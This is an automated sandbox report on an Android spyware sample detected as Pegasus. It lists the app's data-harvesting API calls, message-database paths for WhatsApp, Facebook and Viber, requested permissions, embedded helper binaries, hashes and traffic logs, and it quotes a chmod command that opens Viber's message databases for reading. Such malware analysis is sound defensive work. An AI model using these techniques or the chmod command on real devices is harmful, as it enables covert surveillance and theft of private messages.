Source: Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;Landroid/content/Context;)VMethod string: "android"
Source: Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;Landroid/content/Context;)VMethod string: "imsi"
Source: Lcom/network/android/g;->a([BLorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)VMethod string: "type"
Source: Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;Landroid/content/Context;)VMethod string: "version"
Source: Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;Landroid/content/Context;)VMethod string: "manufacturer"
Source: Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;Landroid/content/Context;)VMethod string: "rom"
Source: Lcom/network/android/roomTap/d;->run()VMethod string: "phone"
Source: Lcom/network/android/a/c;->a(Landroid/content/Context;ILjava/lang/String;I)VMethod string: "imei"
Source: Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;Landroid/content/Context;)VMethod string: "model"
Source: com.network.h.j;->a:162API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.network.h.j;->a:163API Call: dalvik.system.DexClassLoader.loadClass (not executed)
Source: com.network.h.j;->b:400API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.network.android.agent.NetworkApp;->c:357API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: com.network.android.a.e;->run:36API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.android.a.c;->a:187API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.network.android.a.e;->run:62API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.android.a.j;->run:11API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.android.a.c;->e:939API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.android.SmsReceiver;->a:15API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.android.SmsReceiver;->a:150API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.network.android.SmsReceiver;->a:184API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: com.network.android.j;->a:67API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: com.network.h.b;->j:1313API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.location.a;->h:414API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.network.android.a.c;->a:174API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.android.a.c;->f:954API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.android.a.c;->f:955API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.android.SmsReceiver;->a:180API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.android.j;->a:122API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.android.m;->a:1288API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.location.a;->h:416API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.network.android.roomTap.AutoAnswerReceiver;->c:251API Call: android.media.MediaRecorder.setOutputFile
Source: com.network.media.s;->run:42API Call: android.media.MediaRecorder.setOutputFile
Source: com.network.android.monitor.observer.n;->a:150API Call: android.net.Uri.parse("content://sms")
Source: com.network.android.monitor.observer.n;->a:156API Call: android.net.Uri.parse("content://sms")
Source: com.network.android.monitor.observer.n;->a:157API Call: android.content.ContentResolver.query("content://sms")
Source: com.network.android.m;->b:1997API Call: android.net.Uri.parse("content://sms/sent")
Source: com.network.android.m;->b:2000API Call: android.net.Uri.parse("content://sms/inbox")
Source: com.network.android.monitor.observer.n;->a:12API Call: android.net.Uri.parse("content://sms")
Source: com.network.android.monitor.observer.n;->a:22API Call: android.net.Uri.parse("content://sms")
Source: com.network.h.b;->b:535API Call: android.net.Uri.parse("content://sms/")
Source: Lcom/network/android/o;->run()VMethod string: "/data/data/com.whatsapp/databases/msgstore.db"
Source: .roomTap.AutoAnswerReceiverRegistered receiver: android.intent.action.PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_LOGS
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: com.network.android.monitor.observer.j;->run:5API Call: android.content.ContentResolver.query content://com.android.contacts/contacts
Source: com.network.android.m;->b:1637Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: com.network.android.agent.NetworkReceiverRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Source: com.network.android.roomTap.BlackScreen;->a:6API Call: android.net.Uri.parse("content://settings/system/window_animation_scale")
Source: com.network.android.roomTap.BlackScreen;->c:89API Call: android.net.Uri.parse("content://settings/system/window_animation_scale")
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Source: com.network.android.z;->run:21API Call: android.telephony.SmsMessage.createFromPdu
Source: Lcom/network/android/d/a;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "/data/data/com.facebook.katana/databases/threads_db2" (chat messages)
Source: com.network.android.monitor.observer.n;->a:185API Call: android.content.ContentResolver.query("content://call_log/calls")
Source: com.network.android.AndroidCallDirectWatcher;->onReceive:233API Call: android.content.Intent.getStringExtra
Source: com.network.android.roomTap.a;->run:8API Call: android.content.Intent.getStringExtra
Source: Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "/data/data/com.viber.voip/databases/viber_messages"
Source: Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "chmod 0777 /data/data/com.viber.voip/;chmod 0777 /data/data/com.viber.voip/databases/viber_messages;chmod 0777 /data/data/com.viber.voip/databases/viber_messages-journal;"
Source: com.network.android.z;->run:22API Call: android.telephony.SmsMessage.getOriginatingAddress
Source: submitted apkRequest permission: android.permission.AUTHENTICATE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
Source: submitted apkRequest permission: android.permission.MANAGE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: com.network.android.m;->b:1656Field access: android.provider.ContactsContract$CommonDataKinds$Email.CONTENT_URI
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: com.network.media.f;->a:54API Call: android.net.Uri.parse
Source: com.network.media.a;->c:304API Call: android.hardware.Camera.getNumberOfCameras
Source: com.network.media.a;->c:308API Call: android.hardware.Camera.getNumberOfCameras
Source: com.network.media.a;->c:310API Call: android.hardware.Camera.getCameraInfo
Source: com.network.media.a;->c:311API Call: android.hardware.Camera.open
Source: com.network.media.d;->run:36API Call: android.hardware.Camera.open
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: Lcom/network/android/monitor/observer/n;->a(Lcom/network/android/monitor/observer/n;Landroid/content/Context;)VMethod string: "sms listener exception- "
Source: Lcom/network/android/j;->a(Landroid/content/Context;Ljava/lang/String;[Ljava/lang/String;[[B)VMethod string: "dataqueue sendtoserver post"
Source: Lcom/network/android/AndroidCallDirectWatcher;->onReceive(Landroid/content/Context;Landroid/content/Intent;)VMethod string: "androidcalldirectwatcher call listener exception- "
Source: Lcom/network/media/f;->b(Landroid/content/Context;Ljava/lang/String;)VMethod string: "dump innerdump sms start"
Source: Lcom/network/h/b;->b(Landroid/content/Context;Ljava/lang/String;)VMethod string: "deletesms- "
Source: Lcom/network/android/agent/f;->run()VMethod string: "bootreceiver sim was chaged call sendsmsmorepetitive"
Source: Lcom/network/android/AndroidCallDirectWatcher;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)VMethod string: "androidcalldirectwatcher getcall updated calllogid: "
Source: Lcom/network/android/AndroidCallDirectWatcher;->a(Landroid/content/Context;Landroid/os/Handler;)VMethod string: "androidcalldirectwatcher sendcall start post"
Source: Lcom/network/media/r;->a(Ljava/lang/String;Ljava/lang/String;)VMethod string: "recorder addrecordfiletoproductsdb start recordingfilepath: "
Source: Lcom/network/android/monitor/observer/n;->a(Lcom/network/android/monitor/observer/n;Landroid/content/Context;)VInstruction: "const-string v3, "sms listener exception- ""
Source: Lcom/network/android/j;->a(Landroid/content/Context;Ljava/lang/String;[Ljava/lang/String;[[B)VInstruction: "const-string v0, "dataqueue sendtoserver post""
Source: Lcom/network/android/AndroidCallDirectWatcher;->onReceive(Landroid/content/Context;Landroid/content/Intent;)VInstruction: "const-string v2, "androidcalldirectwatcher call listener exception- ""
Source: Lcom/network/media/f;->b(Landroid/content/Context;Ljava/lang/String;)VInstruction: "const-string v4, "dump innerdump sms start""
Source: Lcom/network/h/b;->b(Landroid/content/Context;Ljava/lang/String;)VInstruction: "const-string v2, "deletesms- ""
Source: Lcom/network/android/agent/f;->run()VInstruction: "const-string v0, "bootreceiver sim was chaged call sendsmsmorepetitive""
Source: Lcom/network/android/roomTap/AutoAnswerReceiver;->f(Landroid/content/Context;)VInstruction: "sget-object v1, landroid/provider/calllog$calls;->content_uri:landroid/net/uri;"
Source: Lcom/network/android/AndroidCallDirectWatcher;->a(Landroid/content/Context;Landroid/os/Handler;)VInstruction: "const-string v0, "androidcalldirectwatcher sendcall start post""
Source: Lcom/network/media/r;->a(Ljava/lang/String;Ljava/lang/String;)VInstruction: "const-string v1, "recorder addrecordfiletoproductsdb start recordingfilepath: ""
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
Application Discovery
2
Capture SMS Messages
1
System Network Connections Discovery
Remote Services1
Access Contact List
Exfiltration Over Other Network Medium1
Encrypted Channel
3
Exploit SS7 to Redirect Phone Calls/SMS
Remotely Track Device Without Authorization2
Delete Device Data
Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Obfuscated Files or Information
1
Access Sensitive Data in Device Logs
11
Location Tracking
Remote Desktop Protocol1
Access Call Log
Exfiltration Over Bluetooth1
Non-Standard Port
Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without Authorization1
Carrier Billing Fraud
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information4
Access Stored Application Data
1
Application Discovery
SMB/Windows Admin Shares11
Location Tracking
Automated Exfiltration1
Non-Application Layer Protocol
Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDS3
System Information Discovery
Distributed Component Object Model21
Capture Audio
Scheduled Transfer2
Application Layer Protocol
SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
Process Discovery
SSH2
Network Information Discovery
Data Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsSystem Owner/User DiscoveryVNC2
Capture SMS Messages
Exfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncNetwork SniffingWindows Remote Management1
Access Sensitive Data in Device Logs
Exfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemNetwork Service ScanningShared Webroot4
Access Stored Application Data
Exfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


android-buttoncam-android
SourceDetectionScannerLabelLink
k5pRRb0ODN69%VirustotalBrowse
k5pRRb0ODN26%MetadefenderBrowse
k5pRRb0ODN65%ReversingLabsAndroid.Trojan.Pegasus
k5pRRb0ODN100%AviraANDROID/Pegasus.A
k5pRRb0ODN100%AviraPUA/Stalk.Droid.SRLD.Gen
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http://schemas.android.com/apk/res/androidmain.xmlfalse
    high
    http://www.eclipse.org/legal/epl-v10.htmlmessages_zh_CN.properties, messages_it.properties, messages.properties, messages_ru.properties, messages_cs.properties, messages_pl.properties, messages_zh_TW.properties, messages_hu.properties, messages_ko.properties, messages_ja.properties, messages_pt_BR.properties, messages_fr.properties, messages_de.properties, messages_es.propertiesfalse
      high
      No contacted IP infos
      Joe Sandbox Version:35.0.0 Citrine
      Analysis ID:674229
      Start date and time: 27/07/202211:49:022022-07-27 11:49:02 +02:00
      Joe Sandbox Product:CloudBasic
      Overall analysis duration:0h 5m 5s
      Hypervisor based Inspection enabled:false
      Report type:full
      Sample file name:k5pRRb0ODN
      Cookbook file name:defaultandroidfilecookbook.jbs
      Analysis system description:Android 9 (Pie)
      Analysis Mode:default
      APK Instrumentation enabled:true
      Detection:MAL
      Classification:mal72.rans.spyw.and@0/255@0/0
      • No interacted views
      • Not all executed log events are in report (maximum 10 identical API calls)
      • Not all non-executed APIs are in report
      • Report size exceeded maximum capacity and may have missing disassembly code.
      • Report size exceeded maximum capacity and may have missing dynamic data code.
      No context
      No context
      No context
      No context
      No context
      File Type:troff or preprocessor input, ASCII text, with very long lines
      Category:dropped
      Size (bytes):1340
      Entropy (8bit):3.342434766759263
      Encrypted:false
      SSDEEP:24:97DDClPc1YdjaUWsh74v7ZnLUghwSWdQiJ0/:dKlPc1YdG1shkdnLUg7W70/
      MD5:C390ADA00C14CC2922531BFA94427E51
      SHA1:67A432B929A4FAEEE4FB6741AAAD41F10CD7C5E2
      SHA-256:F98A0D512F1B233CEDA6FE26D4C0E615CAEB14E96D80B3A7C19D680F63E65883
      SHA-512:19D9860C191B7E3D8C26916DBE265331907409354E936D7C69268C20C8A5703C6111460555EB2F776583D88DAA79D67B9C51A313E014FBFE49057575691331EA
      Malicious:true
      Reputation:low
      Preview:\"uptime\.\"1066933\\"1067053\\"1067057\\"1067059\\"1067101\\"1067131\\"1067134\\"1067143\\"1067161\\"1067164\\"1067238\\"1067252\\"1067255\\"1067258\\"1067268\\"1067271\\"1067283\\"1067285\\"1067301\\"1067317\\"1067592\\"1067619\\"1067622\\"1067790\\"1067861\\"1067924\\"1067932\\"1067944\\"1067949\\"1067958\\"1067966\\"1067973\\"1067984\\"1068008\\"1068020\\"1068025\\"1068041\\"1068051\\"1068055\\"1068069\\"1068075\\"1068081\\"1068096\\"1068115\\"1068126\\"1068143\\"1068187\\"1068190\\"1068261\\"1068265\\"1068268\\"1068271\\"1068272\\"1068275\\"1068277\\"1068279\\"1068282\\"1068284\\"1068331\\"1068364\\"1068369\\"1068373\\"1068445\\"1068448\\"1068462\\"1068467\\"1068470\\"1068477\\"1068494\\"1068496\\"1068503\\"1068555\\"1068557\\"1068560\\"1068563\\"1068630\\"1068633\\"1068637\\"1068642\\"1068645\\"1068660\\"1068666\\"1068678\\"1068693\\"1068709\\"1068723\\"1068727\\"1068731\\"1068733\\"1068735\\"1068739\\"1068754\\"1068756\\"1068764\\"1068768\\"1068789\\"1068791\\"1068806\\"1068812\
      File Type:XML 1.0 document text
      Category:dropped
      Size (bytes):65
      Entropy (8bit):4.733927721307618
      Encrypted:false
      SSDEEP:3:vFWWMNCmXyKgCrT1ELAopwL:TM3iWT1jopg
      MD5:9781CA003F10F8D0C9C1945B63FDCA7F
      SHA1:4156CF5DC8D71DBAB734D25E5E1598B37A5456F4
      SHA-256:3325D2A819FDD8062C2CDC48A09B995C9B012915BCDF88B1CF9742A7F057C793
      SHA-512:25A9877E274E0E9DF29811825BD4F680FA0BF0AE6219527E4F1DCD17D0995D28B2926192D961A06EE5BEF2EED73B3F38EC4FFDD0A1CDA7FF2A10DC5711FFDF03
      Malicious:false
      Reputation:moderate, very likely benign file
      Preview:<?xml version='1.0' encoding='utf-8' standalone='yes' ?>.<map />.
      File Type:XML 1.0 document text
      Category:dropped
      Size (bytes):124
      Entropy (8bit):4.967161801084664
      Encrypted:false
      SSDEEP:3:vFWWMNCmXyKgCrT1ELAopLqoWYZXmXR5l0QAIKBZvLn:TM3iWT1jopLqnYm70QAdZz
      MD5:CD4794583F368287C85E72A53A477874
      SHA1:DA1B1BBCAE9FD7E2E60BE16816B4402EDA76D98A
      SHA-256:28C325398113188D9F1CD7BD1D4452A14017EE4AFF623219FEE805DB6F15F0C9
      SHA-512:790AA7F7809115DB1F1563C0972FA30DD375DDB7E09734CD71EE54E211AAA224DD497664351C9BB8F9C8BED6B321184F656EE53139BA1FAAEAE2441097FF655F
      Malicious:false
      Reputation:low
      Preview:<?xml version='1.0' encoding='utf-8' standalone='yes' ?>.<map>. <long name=\"restart\" value=\"1658915508917\" />.</map>.
      File Type:XML 1.0 document text
      Category:dropped
      Size (bytes):128
      Entropy (8bit):4.900810884715268
      Encrypted:false
      SSDEEP:3:vFWWMNCmXyKgCrT1ELAopL1Q6ZMeU+HpgQAcTcHvLn:TM3iWT1jopL1byejgQAKcT
      MD5:C18440896F3D260FC5E2E22B2E8104F8
      SHA1:047D9911B7E9001D9ABC7A70A7CB8FAB700D106D
      SHA-256:689595337BAF72C6FC8758EEDA1167B5E60F296A1094B220476433D7E3BF08DE
      SHA-512:5B8B1A0FF8DF766B1B068CAA2D399A5BEE70D190181E1BF5F2EB7C7815621EFCDBD45217033C95FDC73B2A72CFAF1F0E82CB027DF6A36F74FA6C3AB5C372DDAC
      Malicious:false
      Reputation:low
      Preview:<?xml version='1.0' encoding='utf-8' standalone='yes' ?>.<map>. <boolean name=\"isItFirstRunEver\" value=\"false\" />.</map>.
      File type:Java archive data (JAR)
      Entropy (8bit):7.9871602945185876
      TrID:
      • Android Package (27504/1) 56.12%
      • Java Archive (13504/1) 27.55%
      • ZIP compressed archive (8000/1) 16.32%
      File name:k5pRRb0ODN
      File size:263823
      MD5:7c3ad8fec33465fed6563bbfabb5b13d
      SHA1:e5920f3723e62e1850157f09baf556006bf80f74
      SHA256:ade8bef0ac29fa363fc9afd958af0074478aef650adeb0318517b48bd996d5d5
      SHA512:75da7c118879d9430fb13c5a51d76e1278f0c1474d5cc25c4b9684b7d8c0f93b2e44584eee0f8b0d12016bc1efad367b45ff9ca5609853ae345b6d802ff63d10
      SSDEEP:6144:OiJF1SCwcTjQGPihLcfUmu9XuS0nbkDIyTkRJ0P1d41RiFV1iFuU:OqF1VHzqLcfIJ4bqIeP9d4jkKFuU
      TLSH:0C4423E5CA2E677BD102A3308F06F449960E2305C4A5B630FD96D57A1D528788BFBDCB
      File Content Preview:PK..........xDB...............res/layout/blackscreen.xml....m.1O.0...I.$j....*.Wj#1".V...`5Vc.I...B......1.....!..>.>?...G....L.. .+...P.....%.&.l.3.....|4.{......fJ.3.....*.4.,.y:E..".J.f....U...L..^........$......Z.B.j.X .os.VwZ..W...=........1it...5...
      Label:Media Sync
      Minimum SDK required:9
      Target SDK required:9
      Version Code:292
      Version Name:292
      Package Name:com.network.android
      Is Activity:true
      Is Receiver:true
      Is Service:true
      Requests System Level Permissions:false
      Play Store Compatible:true
      NameIs Entrypoint
      com.network.androidcom.network.android.NetworkMaintrue
      com.network.android.roomTap.ShowDesktop
      com.network.android.roomTap.BlackScreen
      • .roomTap.AutoAnswerReceiver
      • Intent: android.intent.action.PHONE_STATE (Priority 100)
      • com.network.android.AndroidCallDirectWatcher
      • Intent: android.intent.action.PHONE_STATE (Priority 100)
      • com.network.android.BootReceiver
      • Intent: android.intent.action.BOOT_COMPLETED
      • com.network.android.SmsReceiver
      • Intent: android.intent.action.DATA_SMS_RECEIVED (Priority 100)
      • com.network.android.agent.NetworkReceiver
      • Intent: android.intent.action.PHONE_STATE, android.intent.action.USER_PRESENT, android.intent.action.ACTION_POWER_CONNECTED, android.intent.action.ACTION_POWER_DISCONNECTED, android.intent.action.BOOT_COMPLETED, android.provider.Telephony.SMS_RECEIVED, android.provider.Telephony.NEW_OUTGOING_SMS, android.intent.action.ACTION_TIMEZONE_CHANGED, android.intent.action.ACTION_TIME_CHANGED, android.intent.action.ACTION_UID_REMOVED, android.intent.action.ACTION_USER_PRESENT, android.bluetooth.device.action.ACL_CONNECTED, android.bluetooth.device.action.ACL_DISCONNECTED, android.net.conn.CONNECTIVITY_CHANGE, com.network.android.USER_PRESENT, android.intent.action.DATA_SMS_RECEIVED, android.intent.action.BATTERY_CHANGED
      • com.network.location.OnAlarmReceiver
      • com.network.location.PingReceiver
      • com.network.media.CoreReceiver
      • .roomTap.MediaPlayerHandlerService
      • com.network.android.android.monitor.AppService
      • com.network.android.android.monitor.AppServicePinger
      • com.network.android.android.monitor.NetworkManagerService
      • com.network.ussd.CDUSSDService
      • Intent: com.android.ussd.IExtendedNetworkService (Priority 0)
      • android.permission.ACCESS_CHECKIN_PROPERTIES
      • android.permission.ACCESS_COARSE_LOCATION
      • android.permission.ACCESS_FINE_LOCATION
      • android.permission.ACCESS_LOCATION_EXTRA_COMMANDS
      • android.permission.ACCESS_MOCK_LOCATION
      • android.permission.ACCESS_NETWORK_STATE
      • android.permission.ACCESS_SURFACE_FLINGER
      • android.permission.ACCESS_WIFI_STATE
      • android.permission.ACCOUNT_MANAGER
      • android.permission.AUTHENTICATE_ACCOUNTS
      • android.permission.BATTERY_STATS
      • android.permission.BIND_APPWIDGET
      • android.permission.BIND_DEVICE_ADMIN
      • android.permission.BIND_INPUT_METHOD
      • android.permission.BIND_REMOTEVIEWS
      • android.permission.BIND_WALLPAPER
      • android.permission.BLUETOOTH
      • android.permission.BLUETOOTH_ADMIN
      • android.permission.BRICK
      • android.permission.BROADCAST_PACKAGE_REMOVED
      • android.permission.BROADCAST_SMS
      • android.permission.BROADCAST_STICKY
      • android.permission.BROADCAST_WAP_PUSH
      • android.permission.CALL_PHONE
      • android.permission.CALL_PRIVILEGED
      • android.permission.CAMERA
      • android.permission.CHANGE_COMPONENT_ENABLED_STATE
      • android.permission.CHANGE_CONFIGURATION
      • android.permission.CHANGE_NETWORK_STATE
      • android.permission.CHANGE_WIFI_MULTICAST_STATE
      • android.permission.CHANGE_WIFI_STATE
      • android.permission.CLEAR_APP_CACHE
      • android.permission.CLEAR_APP_USER_DATA
      • android.permission.CONTROL_LOCATION_UPDATES
      • android.permission.DELETE_CACHE_FILES
      • android.permission.DELETE_PACKAGES
      • android.permission.DEVICE_POWER
      • android.permission.DIAGNOSTIC
      • android.permission.DISABLE_KEYGUARD
      • android.permission.DUMP
      • android.permission.EXPAND_STATUS_BAR
      • android.permission.FACTORY_TEST
      • android.permission.FLASHLIGHT
      • android.permission.FORCE_BACK
      • android.permission.FORCE_STOP_PACKAGES
      • android.permission.GET_ACCOUNTS
      • android.permission.GET_PACKAGE_SIZE
      • android.permission.GET_TASKS
      • android.permission.GLOBAL_SEARCH
      • android.permission.HARDWARE_TEST
      • android.permission.INJECT_EVENTS
      • android.permission.INSTALL_LOCATION_PROVIDER
      • android.permission.INSTALL_PACKAGES
      • android.permission.INTERNAL_SYSTEM_WINDOW
      • android.permission.INTERNET
      • android.permission.KILL_BACKGROUND_PROCESSES
      • android.permission.MANAGE_ACCOUNTS
      • android.permission.MANAGE_APP_TOKENS
      • android.permission.MASTER_CLEAR
      • android.permission.MODIFY_AUDIO_SETTINGS
      • android.permission.MODIFY_PHONE_STATE
      • android.permission.MOUNT_FORMAT_FILESYSTEMS
      • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
      • android.permission.NFC
      • android.permission.PERSISTENT_ACTIVITY
      • android.permission.PROCESS_OUTGOING_CALLS
      • android.permission.READ_CALENDAR
      • android.permission.READ_CONTACTS
      • android.permission.READ_FRAME_BUFFER
      • android.permission.READ_HISTORY_BOOKMARKS
      • android.permission.READ_INPUT_STATE
      • android.permission.READ_LOGS
      • android.permission.READ_PHONE_STATE
      • android.permission.READ_SMS
      • android.permission.READ_SYNC_SETTINGS
      • android.permission.READ_SYNC_STATS
      • android.permission.REBOOT
      • android.permission.RECEIVE_BOOT_COMPLETED
      • android.permission.RECEIVE_MMS
      • android.permission.RECEIVE_SMS
      • android.permission.RECEIVE_WAP_PUSH
      • android.permission.RECORD_AUDIO
      • android.permission.REORDER_TASKS
      • android.permission.RESTART_PACKAGES
      • android.permission.SEND_SMS
      • android.permission.SET_ACTIVITY_WATCHER
      • android.permission.SET_ALARM
      • android.permission.SET_ALWAYS_FINISH
      • android.permission.SET_ANIMATION_SCALE
      • android.permission.SET_DEBUG_APP
      • android.permission.SET_ORIENTATION
      • android.permission.SET_PREFERRED_APPLICATIONS
      • android.permission.SET_PROCESS_LIMIT
      • android.permission.SET_TIME
      • android.permission.SET_TIME_ZONE
      • android.permission.SET_WALLPAPER
      • android.permission.SET_WALLPAPER_HINTS
      • android.permission.SIGNAL_PERSISTENT_PROCESSES
      • android.permission.STATUS_BAR
      • android.permission.SUBSCRIBED_FEEDS_READ
      • android.permission.SUBSCRIBED_FEEDS_WRITE
      • android.permission.SYSTEM_ALERT_WINDOW
      • android.permission.UPDATE_DEVICE_STATS
      • android.permission.USE_CREDENTIALS
      • android.permission.USE_SIP
      • android.permission.VIBRATE
      • android.permission.WAKE_LOCK
      • android.permission.WRITE_APN_SETTINGS
      • android.permission.WRITE_CALENDAR
      • android.permission.WRITE_CONTACTS
      • android.permission.WRITE_EXTERNAL_STORAGE
      • android.permission.WRITE_GSERVICES
      • android.permission.WRITE_HISTORY_BOOKMARKS
      • android.permission.WRITE_SECURE_SETTINGS
      • android.permission.WRITE_SETTINGS
      • android.permission.WRITE_SMS
      • android.permission.WRITE_SYNC_SETTINGS
      • com.android.browser.permission.READ_HISTORY_BOOKMARKS
      • com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
      • com.android.email.permission.ACCESS_PROVIDER
      • com.android.email.provider.EmailProvider
      Name:classes.dex
      Issuer:CN=Android,OU=Android,O=Android,L=Unknown,ST=Unknown,C=UK
      Subject:CN=Android,OU=Android,O=Android,L=Unknown,ST=Unknown,C=UK
      NameTypeSize
      AndroidManifest.xmlAndroid binary XML28184
      messages_zh_CN.propertiesASCII text, with CRLF line terminators1397
      output.mp3empty0
      sucopierELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped12732
      messages_it.propertiesASCII text, with CRLF line terminators1133
      CERT.RSAdata1312
      libkELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped40708
      build.xmlASCII text, with CRLF line terminators3533
      messages.propertiesASCII text, with CRLF line terminators1068
      cmdshellELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped8672
      CERT.SFASCII text, with CRLF line terminators2781
      messages_ru.propertiesASCII text, with CRLF line terminators3057
      messages_cs.propertiesASCII text, with CRLF line terminators1340
      CHANGELOGempty0
      addkELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, with debug_info, not stripped21299
      messages_pl.propertiesASCII text, with CRLF line terminators1404
      project.propertiesASCII text562
      messages_zh_TW.propertiesASCII text, with CRLF line terminators1431
      messages_hu.propertiesASCII text, with CRLF line terminators1463
      messages_ko.propertiesASCII text, with CRLF line terminators1859
      messages_ja.propertiesASCII text, with CRLF line terminators2127
      messages_pt_BR.propertiesASCII text, with CRLF line terminators1261
      MANIFEST.MFASCII text, with CRLF line terminators2728
      messages_fr.propertiesASCII text, with CRLF line terminators1256
      messages_de.propertiesASCII text, with CRLF line terminators1241
      messages_es.propertiesASCII text, with CRLF line terminators1246
      classes.dexDalvik dex file version 035454556
      resources.arscdata1624
      take_screen_shotELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped40828
      blackscreen.xmlAndroid binary XML540
      main.xmlAndroid binary XML540
      base.apk.drtroff or preprocessor input, ASCII text, with very long lines1340
      NetworkIndex.xml.drXML 1.0 document text65
      NetworkMessages.xml.drXML 1.0 document text124
      NetworkPreferences.xml.drXML 1.0 document text128
      TimestampSource PortDest PortSource IPDest IP
      Jul 27, 2022 11:49:26.587413073 CEST50458443192.168.2.30216.58.212.170
      Jul 27, 2022 11:49:26.843383074 CEST39602443192.168.2.30142.250.186.163
      Jul 27, 2022 11:49:34.332056046 CEST50458443192.168.2.30216.58.212.170
      Jul 27, 2022 11:49:35.356106997 CEST39602443192.168.2.30142.250.186.163
      Jul 27, 2022 11:49:35.927141905 CEST50870443192.168.2.30142.250.186.42
      Jul 27, 2022 11:49:36.832410097 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.849383116 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.849565983 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.849684000 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.866457939 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.876627922 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.876665115 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.876688004 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.876708984 CEST853560688.8.4.4192.168.2.30
